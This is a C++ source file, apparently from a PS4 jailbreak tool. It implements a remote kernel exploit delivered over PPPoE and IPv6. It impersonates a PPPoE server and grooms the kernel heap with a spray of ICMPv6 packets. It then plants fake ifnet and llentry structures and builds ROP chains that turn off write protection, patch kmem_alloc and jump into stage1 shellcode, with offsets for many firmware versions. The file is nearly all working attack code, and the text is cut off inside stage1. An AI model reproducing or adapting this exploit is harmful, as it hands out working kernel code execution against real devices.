#include <iostream>
#include <sstream>

#include <IPv6Layer.h>
#include <IPv4Layer.h>
#include <UdpLayer.h>
#include <Packet.h>
#include <PcapLiveDevice.h>
#include <PcapLiveDeviceList.h>
#include <SystemUtils.h>
#include <PPPoELayer.h>
#include <EthLayer.h>
#include <PayloadLayer.h>
#include <EndianPortable.h>
#include <IcmpV6Layer.h>
#include <PacketUtils.h>
#include <Logger.h>
#include <pcap.h>

#include "exploit.h"

#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <mmsystem.h>

#define TIME_BEGIN_PERIOD() timeBeginPeriod(1)
#define TIME_END_PERIOD() timeEndPeriod(1)
#else
#define TIME_BEGIN_PERIOD() void()
#define TIME_END_PERIOD() void()
#endif

#define SPRAY_NUM 0x1000
#define PIN_NUM 0x1000
#define CORRUPT_NUM 0x1

#define HOLE_START 0x400
#define HOLE_SPACE 0x10

#define LCP_ID 0x41
#define IPCP_ID 0x41

#define SESSION_ID 0xffff

#define STAGE2_PORT 9020

#define PPP_IPCP_Option_IP 0x03

const static std::string SOURCE_MAC = "41:41:41:41:41:41";
const static std::string SOURCE_IPV4 = "41.41.41.41";
const static std::string SOURCE_IPV6 = "fe80::9f9f:41ff:9f9f:41ff";

const static std::string TARGET_IPV4 = "42.42.42.42";

const static std::string BPF_FILTER = "((ip6) || (pppoed) || (pppoes && !ip))";

struct Cookie {
    pcpp::Packet packet;
};

//#define DEBUG_STAGE

#ifdef DEBUG_STAGE
#undef SPRAY_NUM
#undef PIN_NUM
#undef CORRUPT_NUM
#define SPRAY_NUM 0x1
#define PIN_NUM 0x1
#define CORRUPT_NUM 0x1
#endif

#ifndef htole64
#define htole64
#endif
#ifndef htole32
#define htole32
#endif
#ifndef htole16
#define htole16
#endif

#define V64BE(list, index, data) (*(uint64_t *) &(list)[index]) = htobe64(data)
#define V64(list, index, data) (*(uint64_t *) &(list)[index]) = htole64(data)
#define V32(list, index, data) (*(uint32_t *) &(list)[index]) = htole32(data)
#define V16(list, index, data) (*(uint16_t *) &(list)[index]) = htole16(data)
#define V8(list, index, data) (*(uint8_t *) &(list)[index]) = data

#define CHECK_RET(value) { int ret = (value); if(ret != RETURN_SUCCESS) return ret;}
#define CHECK_RUNNING() if (!running) return RETURN_STOP
#define startBlockingCaptureWithCookie(cb, cookie) if(dev->startCaptureBlockingMode(cb, cookie, this->timeout) != 1) return RETURN_FAIL; else CHECK_RUNNING()
#define startBlockingCapture(cb) startBlockingCaptureWithCookie(cb, nullptr)

static void cpuSleep(int ms) {
    auto start = std::chrono::high_resolution_clock::now();
    auto end = start + std::chrono::milliseconds(ms);
    while (std::chrono::high_resolution_clock::now() < end) {}
}

int Exploit::setFirmwareVersion(FirmwareVersion version) {
    switch (version) {
        case FirmwareVersion::FIRMWARE_700_702:
            this->offs = OffsetsFirmware_700_702();
            break;
        case FirmwareVersion::FIRMWARE_750_755:
            this->offs = OffsetsFirmware_750_755();
            break;
        case FirmwareVersion::FIRMWARE_800_803:
            this->offs = OffsetsFirmware_800_803();
            break;
        case FirmwareVersion::FIRMWARE_850_852:
            this->offs = OffsetsFirmware_850_852();
            break;
        case FirmwareVersion::FIRMWARE_900:
            this->offs = OffsetsFirmware_900();
            break;
        case FirmwareVersion::FIRMWARE_903_904:
            this->offs = OffsetsFirmware_903_904();
            break;
        case FirmwareVersion::FIRMWARE_950_960:
            this->offs = OffsetsFirmware_950_960();
            break;
        case FirmwareVersion::FIRMWARE_1000_1001:
            this->offs = OffsetsFirmware_1000_1001();
            break;
        case FirmwareVersion::FIRMWARE_1050_1071:
            this->offs = OffsetsFirmware_1050_1071();
            break;
        case FirmwareVersion::FIRMWARE_1100:
            this->offs = OffsetsFirmware_1100();
            break;
        case FirmwareVersion::FIRMWARE_UNKNOWN:
        default:
            std::cout << "[-] Unsupported firmware version" << std::endl;
            return RETURN_FAIL;
    }
    return RETURN_SUCCESS;
}

int Exploit::setInterface(const std::string &iface, int buffer_size) {
    if (dev != nullptr) this->closeInterface();

    dev = pcpp::PcapLiveDeviceList::getInstance().getPcapLiveDeviceByName(iface);
    if (dev == nullptr) {
        std::cout << "[-] Cannot find interface with name of '" << iface << "'" << std::endl;
        return RETURN_FAIL;
    }

    // open the device before start capturing/sending packets
    pcpp::PcapLiveDevice::DeviceConfiguration config;
    config.direction = pcpp::PcapLiveDevice::PCPP_IN;
    config.packetBufferSize = buffer_size;
    config.packetBufferTimeoutMs = 1;
    if (!dev->open(config)) {
        std::cout << "[-] Cannot open device" << std::endl;
        dev = nullptr;
        return RETURN_FAIL;
    }

    if (!dev->setFilter(BPF_FILTER)) {
        std::cout << "[-] Cannot set filter" << std::endl;
    }
    return RETURN_SUCCESS;
}

void Exploit::setStage1(const std::vector<uint8_t> &&stage1_data) {
    this->stage1_bin = stage1_data;
}

void Exploit::setStage2(const std::vector<uint8_t> &&stage2_data) {
    this->stage2_bin = stage2_data;
}

void Exploit::setAutoRetry(bool value) {
    this->auto_retry = value;
}

void Exploit::setRealSleep(bool sleep) {
    this->real_sleep = sleep;
}

void Exploit::setTimeout(int value) {
    this->timeout = value;
}

void Exploit::setWaitPADI(bool value) {
    this->wait_padi = value;
}

void Exploit::setWaitAfterPin(int value) {
    this->wait_after_pin = value;
}

void Exploit::setGroomDelay(int value) {
    this->groom_delay = value;
}

void Exploit::closeInterface() {
    if (this->dev != nullptr) this->dev->close();
    this->dev = nullptr;
}

void Exploit::updateSourceMac(uint64_t value) {
    union Converter {
        uint64_t u64;
        uint8_t u8[8];
    };
    Converter planted{};
    planted.u64 = value & 0xffffffffffff;
    planted.u64 = htole64(planted.u64);
    this->source_mac = pcpp::MacAddress(planted.u8);
    std::cout << "[+] Source MAC: " << this->source_mac.toString() << std::endl;
}

uint64_t Exploit::kdlsym(uint64_t addr) const {
    return this->kaslr_offset + addr;
}

int Exploit::lcp_negotiation() const {
    std::cout << "[*] Sending LCP configure request..." << std::endl;
    {
        auto &&packet = PacketBuilder::lcpRequest(source_mac, target_mac);
        this->dev->sendPacket(&packet);
    }

    std::cout << "[*] Waiting for LCP configure ACK..." << std::endl;
    {
        startBlockingCapture(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet);
                    auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
                    if (layer) return layer->getLayerPayload()[0] == CONF_ACK;
                    return false;
                });
    }

    std::cout << "[*] Waiting for LCP configure request..." << std::endl;
    uint8_t lcp_id = 0;
    {
        startBlockingCaptureWithCookie(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet);
                    auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
                    if (layer) {
                        *((uint8_t *) cookie) = layer->getLayerPayload()[1];
                        return layer->getLayerPayload()[0] == CONF_REQ;
                    }
                    return false;
                }, &lcp_id);
    }

    std::cout << "[*] Sending LCP configure ACK..." << std::endl;
    {
        auto &&packet = PacketBuilder::lcpAck(source_mac, target_mac, lcp_id);
        this->dev->sendPacket(&packet);
    }
    return RETURN_SUCCESS;
}

int Exploit::ipcp_negotiation() const {
    std::cout << "[*] Sending IPCP configure request..." << std::endl;
    {
        auto &&packet = PacketBuilder::ipcpRequest(source_mac, target_mac);
        this->dev->sendPacket(&packet);
    }

    std::cout << "[*] Waiting for IPCP configure ACK..." << std::endl;
    {
        startBlockingCapture(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet);
                    auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_IPCP);
                    if (layer) return layer->getLayerPayload()[0] == CONF_ACK;
                    return false;
                });
    }

    std::cout << "[*] Waiting for IPCP configure request..." << std::endl;
    uint8_t ipcp_id = 0;
    {
        startBlockingCaptureWithCookie(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet);
                    auto *lcp_id = (uint8_t *) cookie;
                    auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_IPCP);
                    if (layer) {
                        *lcp_id = layer->getLayerPayload()[1];
                        return layer->getLayerPayload()[0] == CONF_REQ;
                    }
                    return false;
                }, &ipcp_id);
    }

    std::cout << "[*] Sending IPCP configure NAK..." << std::endl;
    {
        auto &&packet = PacketBuilder::ipcpNak(source_mac, target_mac, ipcp_id);
        this->dev->sendPacket(&packet);
    }

    std::cout << "[*] Waiting for IPCP configure request..." << std::endl;
    Cookie pkt;
    {
        startBlockingCaptureWithCookie(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet, pcpp::PPPoESession);
                    auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_IPCP);
                    if (layer && layer->getLayerPayload()[0] == CONF_REQ) {
                        ((Cookie *) cookie)->packet = parsedPacket;
                        return true;
                    }
                    return false;
                }, &pkt);
    }

    std::cout << "[*] Sending IPCP configure ACK..." << std::endl;
    {
        auto *layer = PacketBuilder::getPPPoESessionLayer(pkt.packet, PCPP_PPP_IPCP);
        if (!layer) {
            std::cout << "[-] No IPCP layer found in packet" << std::endl;
            return RETURN_FAIL;
        }
        uint8_t id = layer->getLayerPayload()[1];
        uint8_t *options = layer->getLayerPayload() + 4;
        uint8_t optionLen = layer->getLayerPayload()[5];

        auto &&packet = PacketBuilder::ipcpAck(source_mac, target_mac, id, options, optionLen);
        this->dev->sendPacket(&packet);
    }
    return RETURN_SUCCESS;
}

int Exploit::ppp_negotiation(const std::function<std::vector<uint8_t>(Exploit *)> &cb, bool ignore_initial_req,
                             bool always_wait_padi) {
    int padi_count = ignore_initial_req ? 2 : 1;

    Cookie pkt;
    while (padi_count--) {
        std::cout << "[*] Waiting for PADI..." << std::endl;
        if (dev->startCaptureBlockingMode(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet, pcpp::PPPoEDiscovery);
                    auto *layer = PacketBuilder::getPPPoEDiscoveryLayer(parsedPacket,
                                                                        pcpp::PPPoELayer::PPPOE_CODE_PADI);
                    if (!layer) return false;
                    ((Cookie *) cookie)->packet = parsedPacket;
                    return true;
                }, &pkt, always_wait_padi ? 0 : this->timeout) != 1) {
            return RETURN_FAIL;
        } else if (!running) {
            return RETURN_STOP;
        }
    }

    auto *pppoeDiscoveryLayer = pkt.packet.getLayerOfType<pcpp::PPPoEDiscoveryLayer>();
    if (!pppoeDiscoveryLayer) {
        std::cout << "[-] No PPPoE discovery layer found in PADI packet" << std::endl;
        return RETURN_FAIL;
    }
    uint8_t *host_uniq = nullptr;
    pcpp::PPPoEDiscoveryLayer::PPPoETag tag = pppoeDiscoveryLayer->getFirstTag();
    while (tag.isNotNull()) {
        if (tag.getType() == pcpp::PPPoEDiscoveryLayer::PPPOE_TAG_HOST_UNIQ) {
            host_uniq = tag.getValue();
            break;
        }
        tag = pppoeDiscoveryLayer->getNextTag(tag);
    }
    if (!host_uniq) {
        std::cout << "[-] No host-uniq tag found in PADI packet" << std::endl;
        return RETURN_FAIL;
    }
    if (tag.getDataSize() != sizeof(uint64_t)) {
        std::cout << "[-] Invalid host-uniq tag size: " << tag.getDataSize() << std::endl;
        return RETURN_FAIL;
    }

    memcpy(&pppoe_softc, host_uniq, sizeof(pppoe_softc));
    pppoe_softc = htole64(pppoe_softc);
    std::cout << "[+] pppoe_softc: 0x" << std::hex << pppoe_softc << std::endl;

    auto *ethLayer = pkt.packet.getLayerOfType<pcpp::EthLayer>();
    if (ethLayer) {
        target_mac = ethLayer->getSourceMac();
        std::cout << "[+] Target MAC: " << target_mac.toString() << std::endl;
        std::string filter = "(ether src " + ethLayer->getSourceMac().toString() + ") && " + BPF_FILTER;
        this->dev->setFilter(filter);
    }

    source_mac = pcpp::MacAddress(SOURCE_MAC);

    std::vector<uint8_t> ac_cookie;
    if (cb)
        ac_cookie = cb(this);
    std::cout << "[+] AC cookie length: " << std::hex << ac_cookie.size() << std::endl;

    std::cout << "[*] Sending PADO..." << std::endl;
    {
        auto &&packet = PacketBuilder::pado(source_mac, target_mac,
                                            ac_cookie.data(), ac_cookie.size(),
                                            host_uniq, sizeof(uint64_t));
        this->dev->sendPacket(&packet);
    }

    std::cout << "[*] Waiting for PADR..." << std::endl;
    {
        startBlockingCapture(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet);
                    auto *layer = PacketBuilder::getPPPoEDiscoveryLayer(parsedPacket,
                                                                        pcpp::PPPoELayer::PPPOE_CODE_PADR);
                    if (layer) return true;
                    return false;
                });
    }

    std::cout << "[*] Sending PADS..." << std::endl;
    {
        auto &&packet = PacketBuilder::pads(source_mac, target_mac,
                                            host_uniq, sizeof(uint64_t));
        this->dev->sendPacket(&packet);
    }
    return RETURN_SUCCESS;
}

std::vector<uint8_t> Exploit::build_fake_ifnet(Exploit *self) {
    // Leak address
    // Upper bytes are encoded with SESSION_ID
    self->updateSourceMac(self->pppoe_softc + 0x07);

    // Fake ifnet
    std::vector<uint8_t> fake_ifnet(0x4e0, 'A');

    V64(fake_ifnet, 0x48, ZERO);     // if_addrhead
    V16(fake_ifnet, 0x70, 0x0001);   // if_index
    V8(fake_ifnet, 0xa0, IFT_ETHER); // ifi_type
    V8(fake_ifnet, 0xa1, 0);         // ifi_physical
    V8(fake_ifnet, 0xa2, 0x8 + 0x1); // ifi_addrlen
    V64(fake_ifnet, 0x1b8, self->pppoe_softc + PPPOE_SOFTC_SC_DEST); // if_addr
    V64(fake_ifnet, 0x428, self->pppoe_softc + 0x10 - 0x8);          // nd_ifinfo

    // if_afdata_lock
    V64(fake_ifnet, 0x480, ZERO);          // lo_name
    V32(fake_ifnet, 0x488, RW_INIT_FLAGS); // lo_flags
    V32(fake_ifnet, 0x48c, 0);             // lo_data
    V64(fake_ifnet, 0x490, ZERO);          // lo_witness
    V64(fake_ifnet, 0x498, RW_UNLOCKED);   // rw_lock

    // if_addr_mtx
    V64(fake_ifnet, 0x4c0, ZERO);           // lo_name
    V32(fake_ifnet, 0x4c8, MTX_INIT_FLAGS); // lo_flags
    V32(fake_ifnet, 0x4cc, 0);              // lo_data
    V64(fake_ifnet, 0x4d0, ZERO);           // lo_witness
    V64(fake_ifnet, 0x4d8, MTX_UNOWNED);    // mtx_lock

    return fake_ifnet;
}

std::vector<uint8_t> Exploit::build_overflow_lle(Exploit *self) {
    // Fake in6_llentry
    std::vector<uint8_t> overflow_lle(0x78, 0);

    // lle_next
    V64(overflow_lle, 0, self->pppoe_softc + PPPOE_SOFTC_SC_AC_COOKIE); // le_next
    V64(overflow_lle, 0x8, ZERO); // le_prev

    // lle_lock
    V64(overflow_lle, 0x10, ZERO); // lo_name
    V32(overflow_lle, 0x18, RW_INIT_FLAGS | LO_DUPOK); // lo_flags
    V32(overflow_lle, 0x1c, 0);           // lo_data
    V64(overflow_lle, 0x20, ZERO);        // lo_witness
    V64(overflow_lle, 0x28, RW_UNLOCKED); // rw_lock

    V64(overflow_lle, 0x30, self->pppoe_softc + PPPOE_SOFTC_SC_AC_COOKIE - LLTABLE_LLTIFP); // lle_tbl
    V64(overflow_lle, 0x38, ZERO); // lle_head
    V64(overflow_lle, 0x40, ZERO); // lle_free
    V64(overflow_lle, 0x48, ZERO); // la_hold
    V32(overflow_lle, 0x50, 0);    // la_numheld
    V32(overflow_lle, 0x54, 0);    // pad
    V64(overflow_lle, 0x58, 0);    // la_expire

    V16(overflow_lle, 0x60, LLE_EXCLUSIVE);      // la_flags
    V16(overflow_lle, 0x62, 0);                  // la_asked
    V16(overflow_lle, 0x64, 0);                  // la_preempt
    V16(overflow_lle, 0x66, 0);                  // ln_byhint
    V16(overflow_lle, 0x68, ND6_LLINFO_NOSTATE); // ln_state
    V16(overflow_lle, 0x6a, 0);                  // ln_router
    V32(overflow_lle, 0x6c, 0);                  // pad
    V64(overflow_lle, 0x70, 0x7fffffffffffffff); // ln_ntick

    return overflow_lle;
}

std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
    // First gadget - must be a valid MAC address
    // Upper bytes are encoded with SESSION_ID
    self->updateSourceMac(self->kdlsym(self->offs.FIRST_GADGET));

    // Fake in6_llentry
    std::vector<uint8_t> fake_lle(0xE0, 0);

    // lle_next
    // Third gadget
    V64(fake_lle, 0, self->kdlsym(self->offs.POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10)); // le_next
    V64(fake_lle, 0x8, ZERO); // le_prev

    // lle_lock
    // Fourth gadget
    V64(fake_lle, 0x10, self->kdlsym(self->offs.LEA_RSP_RSI_20_REPZ_RET)); // lo_name
    V32(fake_lle, 0x18, RW_INIT_FLAGS | LO_DUPOK); // lo_flags
    V32(fake_lle, 0x1C, 0); // lo_data
    // Fifth gadget
    V64(fake_lle, 0x20, self->kdlsym(self->offs.ADD_RSP_B0_POP_RBP_RET)); // lo_witness
    V64(fake_lle, 0x28, RW_UNLOCKED); // rw_lock

    V64(fake_lle, 0x30, self->pppoe_softc + PPPOE_SOFTC_SC_DEST - LLTABLE_LLTFREE);  // lle_tbl
    V64(fake_lle, 0x38, ZERO);  // lle_head
    V64(fake_lle, 0x40, ZERO);  // lle_free
    V64(fake_lle, 0x48, ZERO);  // la_hold
    V32(fake_lle, 0x50, 0); // la_numheld
    V32(fake_lle, 0x54, 0); // pad
    V64(fake_lle, 0x58, 0);  // la_expire
    V16(fake_lle, 0x60, LLE_STATIC | LLE_EXCLUSIVE);  // la_flags
    V16(fake_lle, 0x62, 0);  // la_asked
    V16(fake_lle, 0x64, 0);  // la_preempt
    V16(fake_lle, 0x66, 0);  // ln_byhint
    V16(fake_lle, 0x68, ND6_LLINFO_NOSTATE);  // ln_state
    V16(fake_lle, 0x6A, 0);  // ln_router
    V32(fake_lle, 0x6C, 0); // pad
    V64(fake_lle, 0x70, 0x7fffffffffffffff);  // ln_ntick
    V32(fake_lle, 0x78, 0);  // lle_refcnt
    V32(fake_lle, 0x7C, 0); // pad
    V64BE(fake_lle, 0x80, 0x414141414141);  // ll_addr

    // lle_timer
    V64(fake_lle, 0x88, 0);  // sle
    V64(fake_lle, 0x90, 0);  // tqe
    V32(fake_lle, 0x98, 0);  // c_time
    V32(fake_lle, 0x9C, 0);  // pad
    V64(fake_lle, 0xA0, ZERO);  // c_arg
    V64(fake_lle, 0xA8, ZERO);  // c_func
    V64(fake_lle, 0xB0, ZERO);  // c_lock
    V32(fake_lle, 0xB8, CALLOUT_RETURNUNLOCKED);  // c_flags
    V32(fake_lle, 0xBC, 0);  // c_cpu

    // l3_addr6
    V8(fake_lle, 0xC0, SOCKADDR_IN6_SIZE);  // sin6_len
    V8(fake_lle, 0xC1, AF_INET6);  // sin6_family
    V16(fake_lle, 0xC2, 0);  // sin6_port
    V32(fake_lle, 0xC4, 0);  // sin6_flowinfo
    // sin6_addr
    V64BE(fake_lle, 0xC8, 0xfe80000100000000);
    V64BE(fake_lle, 0xD0, 0x9f9f41ff9f9f41ff);
    V32(fake_lle, 0xD8, 0);  // sin6_scope_id

    // pad
    V32(fake_lle, 0xDC, 0);

    // Second gadget
    V64(fake_lle, self->offs.SECOND_GADGET_OFF, self->kdlsym(self->offs.PUSH_RBP_JMP_QWORD_PTR_RSI));

    // Second ROP chain
    auto rop2 = Exploit::build_second_rop(self);

    // First ROP chain
    auto rop = Exploit::build_first_rop(self, fake_lle.size(), rop2.size());

    fake_lle.insert(fake_lle.end(), rop.begin(), rop.end());
    fake_lle.insert(fake_lle.end(), rop2.begin(), rop2.end());
    fake_lle.insert(fake_lle.end(), self->stage1_bin.begin(), self->stage1_bin.end());

    return fake_lle;
}

std::vector<uint8_t> Exploit::build_first_rop(Exploit *self, uint64_t fake_lle_len, uint64_t rop2_len) {
    std::vector<uint8_t> rop(0xA8, 0);

    // memcpy(RBX - 0x800, rop2, len(rop2 + stage1))

    // RDI = RBX - 0x800
    V64(rop, 0, self->kdlsym(self->offs.POP_R12_RET));
    V64(rop, 0x8, self->kdlsym(self->offs.POP_RBP_RET));
    V64(rop, 0x10, self->kdlsym(self->offs.MOV_RDI_RBX_CALL_R12));
    V64(rop, 0x18, self->kdlsym(self->offs.POP_RCX_RET));
    V64(rop, 0x20, -0x800);
    V64(rop, 0x28, self->kdlsym(self->offs.ADD_RDI_RCX_RET));

    // RSI += len(fake_lle + rop)
    V64(rop, 0x30, self->kdlsym(self->offs.POP_RDX_RET));
    V64(rop, 0x38, -(fake_lle_len + 0xA8));
    V64(rop, 0x40, self->kdlsym(self->offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET));
    V64(rop, 0x48, 0xDEADBEEF);

    // RDX = len(rop2 + stage1)
    V64(rop, 0x50, self->kdlsym(self->offs.POP_RDX_RET));
    V64(rop, 0x58, rop2_len + self->stage1_bin.size());

    // Call memcpy
    V64(rop, 0x60, self->kdlsym(self->offs.MEMCPY));

    // Stack pivot
    V64(rop, 0x68, self->kdlsym(self->offs.POP_RAX_RET));
    V64(rop, 0x70, self->kdlsym(self->offs.POP_RBP_RET));
    V64(rop, 0x78, self->kdlsym(self->offs.MOV_RSI_RBX_CALL_RAX));
    V64(rop, 0x80, self->kdlsym(self->offs.POP_RDX_RET));
    V64(rop, 0x88, 0x800 + 0x20);
    V64(rop, 0x90, self->kdlsym(self->offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET));
    V64(rop, 0x98, 0xDEADBEEF);
    V64(rop, 0xA0, self->kdlsym(self->offs.LEA_RSP_RSI_20_REPZ_RET));

    return rop;
}

std::vector<uint8_t> Exploit::build_second_rop(Exploit *self) {
    std::vector<uint8_t> rop(0x198, 0);

    // setidt(IDT_UD, handler, SDT_SYSIGT, SEL_KPL, 0)
    V64(rop, 0x00, self->kdlsym(self->offs.POP_RDI_RET));
    V64(rop, 0x08, IDT_UD);
    V64(rop, 0x10, self->kdlsym(self->offs.POP_RSI_RET));
    V64(rop, 0x18, self->kdlsym(self->offs.ADD_RSP_28_POP_RBP_RET));
    V64(rop, 0x20, self->kdlsym(self->offs.POP_RDX_RET));
    V64(rop, 0x28, SDT_SYSIGT);
    V64(rop, 0x30, self->kdlsym(self->offs.POP_RCX_RET));
    V64(rop, 0x38, SEL_KPL);
    V64(rop, 0x40, self->kdlsym(self->offs.POP_R8_POP_RBP_RET));
    V64(rop, 0x48, 0);
    V64(rop, 0x50, 0xDEADBEEF);
    V64(rop, 0x58, self->kdlsym(self->offs.SETIDT));

    // Disable write protection
    V64(rop, 0x60, self->kdlsym(self->offs.POP_RSI_RET));
    V64(rop, 0x68, (CR0_ORI) & ~(CR0_WP));
    V64(rop, 0x70, self->kdlsym(self->offs.MOV_CR0_RSI_UD2_MOV_EAX_1_RET));

    // Enable RWX in kmem_alloc
    V64(rop, 0x78, self->kdlsym(self->offs.POP_RAX_RET));
    V64(rop, 0x80, VM_PROT_ALL);
    V64(rop, 0x88, self->kdlsym(self->offs.POP_RCX_RET));
    V64(rop, 0x90, self->kdlsym(self->offs.KMEM_ALLOC_PATCH1));
    V64(rop, 0x98, self->kdlsym(self->offs.MOV_BYTE_PTR_RCX_AL_RET));
    V64(rop, 0xa0, self->kdlsym(self->offs.POP_RCX_RET));
    V64(rop, 0xa8, self->kdlsym(self->offs.KMEM_ALLOC_PATCH2));
    V64(rop, 0xb0, self->kdlsym(self->offs.MOV_BYTE_PTR_RCX_AL_RET));

    // Restore write protection
    V64(rop, 0xb8, self->kdlsym(self->offs.POP_RSI_RET));
    V64(rop, 0xc0, CR0_ORI);
    V64(rop, 0xc8, self->kdlsym(self->offs.MOV_CR0_RSI_UD2_MOV_EAX_1_RET));

    // kmem_alloc(*kernel_map, PAGE_SIZE)

    // RDI = *kernel_map
    V64(rop, 0xd0, self->kdlsym(self->offs.POP_RAX_RET));
    V64(rop, 0xd8, self->kdlsym(self->offs.RET));
    V64(rop, 0xe0, self->kdlsym(self->offs.POP_RDI_RET));
    V64(rop, 0xe8, self->kdlsym(self->offs.KERNEL_MAP));
    V64(rop, 0xf0, self->kdlsym(self->offs.MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX));
    V64(rop, 0xf8, 0xDEADBEEF);

    // RSI = PAGE_SIZE
    V64(rop, 0x100, self->kdlsym(self->offs.POP_RSI_RET));
    V64(rop, 0x108, PAGE_SIZE);

    // Call kmem_alloc
    V64(rop, 0x110, self->kdlsym(self->offs.KMEM_ALLOC));

    // R14 = RAX
    V64(rop, 0x118, self->kdlsym(self->offs.POP_R8_POP_RBP_RET));
    V64(rop, 0x120, self->kdlsym(self->offs.POP_RBP_RET));
    V64(rop, 0x128, 0xDEADBEEF);
    V64(rop, 0x130, self->kdlsym(self->offs.MOV_R14_RAX_CALL_R8));

    // memcpy(R14, stage1, len(stage1))

    // RDI = R14
    V64(rop, 0x138, self->kdlsym(self->offs.POP_R12_RET));
    V64(rop, 0x140, self->kdlsym(self->offs.POP_RBP_RET));
    V64(rop, 0x148, self->kdlsym(self->offs.MOV_RDI_R14_CALL_R12));

    // RSI = RSP + len(rop) - rop_rsp_pos
    V64(rop, 0x150, self->kdlsym(self->offs.PUSH_RSP_POP_RSI_RET));
    V64(rop, 0x158, self->kdlsym(self->offs.POP_RDX_RET));
    V64(rop, 0x160, -(0x198 - 0x158));
    V64(rop, 0x168, self->kdlsym(self->offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET));
    V64(rop, 0x170, 0xDEADBEEF);

    // RDX = len(stage1)
    V64(rop, 0x178, self->kdlsym(self->offs.POP_RDX_RET));
    V64(rop, 0x180, self->stage1_bin.size());

    // Call memcpy
    V64(rop, 0x188, self->kdlsym(self->offs.MEMCPY));

    // Jump into stage1
    V64(rop, 0x190, self->kdlsym(self->offs.JMP_R14));

    return rop;
}

int Exploit::stage0() {
    CHECK_RET(this->ppp_negotiation(Exploit::build_fake_ifnet, this->wait_padi, true));
    CHECK_RET(this->lcp_negotiation());
    CHECK_RET(this->ipcp_negotiation());

    std::cout << "[*] Waiting for interface to be ready..." << std::endl;
    int ret = dev->startCaptureBlockingMode(
            [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                auto *self = (Exploit *) cookie;
                pcpp::Packet parsedPacket(packet, pcpp::ICMPv6);
                if (!parsedPacket.isPacketOfType(pcpp::ICMPv6)) return false;
                auto *ipv6Layer = parsedPacket.getLayerOfType<pcpp::IPv6Layer>();
                if (!ipv6Layer) return false;
                auto *layer = parsedPacket.getLayerOfType<pcpp::IcmpV6Layer>();
                if (!layer) return false;
                if (layer->getMessageType() == pcpp::ICMPv6MessageType::ICMPv6_ROUTER_SOLICITATION) {
                    self->target_ipv6 = ipv6Layer->getSrcIPv6Address();
                    std::cout << "[+] Target IPv6: " << self->target_ipv6.toString() << std::endl;
                    return true;
                }
                return false;
            }, this, 5);
    CHECK_RUNNING();
    if (ret == -1) {
        std::cout << "[+] Generate target IPv6 from MAC address" << std::endl;
        const uint8_t *mac = this->target_mac.getRawData();
        uint8_t flag = mac[0] ^ 0x02;
        uint8_t ipv6[16] = {0xfe, 0x80, 0, 0, 0, 0, 0, 0, flag, mac[1], mac[2], 0xff, 0xfe, mac[3], mac[4], mac[5]};
        this->target_ipv6 = pcpp::IPv6Address(ipv6);
        std::cout << "[+] Target IPv6: " << this->target_ipv6 << std::endl;
    }

    TIME_BEGIN_PERIOD();
    for (size_t i = 0; i < SPRAY_NUM; i++) {
        if (i % 0x100 == 0) {
            std::cout << "\r[*] Heap grooming..." << std::dec << 100 * i / SPRAY_NUM << "%" << std::flush;
        }

        std::stringstream sourceIpv6;
        sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << ":41ff:9f9f:41ff";
        {
            auto &&packet = PacketBuilder::icmpv6Echo(this->source_mac, this->target_mac,
                                                      pcpp::IPv6Address(sourceIpv6.str()), this->target_ipv6);
            dev->sendPacket(&packet);
        }

        startBlockingCapture(
                [](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
                    pcpp::Packet parsedPacket(packet, pcpp::ICMPv6);
                    if (!parsedPacket.isPacketOfType(pcpp::ICMPv6)) return false;
                    auto *layer = parsedPacket.getLayerOfType<pcpp::IcmpV6Layer>();
                    if (!layer) return false;
                    return layer->getMessageType() == pcpp::ICMPv6MessageType::ICMPv6_NEIGHBOR_SOLICITATION;
                });

        if (i >= HOLE_START && i % HOLE_SPACE == 0) continue;

        {
            auto &&packet = PacketBuilder::icmpv6Na(this->source_mac, this->target_mac,
                                                    pcpp::IPv6Address(sourceIpv6.str()), this->target_ipv6);
            dev->sendPacket(&packet);
        }

        if (i % groom_delay == 0) real_sleep ? cpuSleep(1) : pcpp::multiPlatformMSleep(1);
    }
    TIME_END_PERIOD();
    std::cout << "\r[+] Heap grooming...done" << std::endl;

    return RETURN_SUCCESS;
}

int Exploit::stage1() {
    /**
     * In some devices, the waiting time is not accurate, which may cause the CPU pinning time to be too long,
     * and the PS4 unilaterally ends the PPPoE session.
     * To avoid this situation, respond to the PPPoE ECHO_REQ here
     */
    try {
        dev->startCapture([](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) {
            pcpp::Packet parsedPacket(packet, pcpp::PPPoESession);
            auto *pppLayer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
            if (!pppLayer) return;
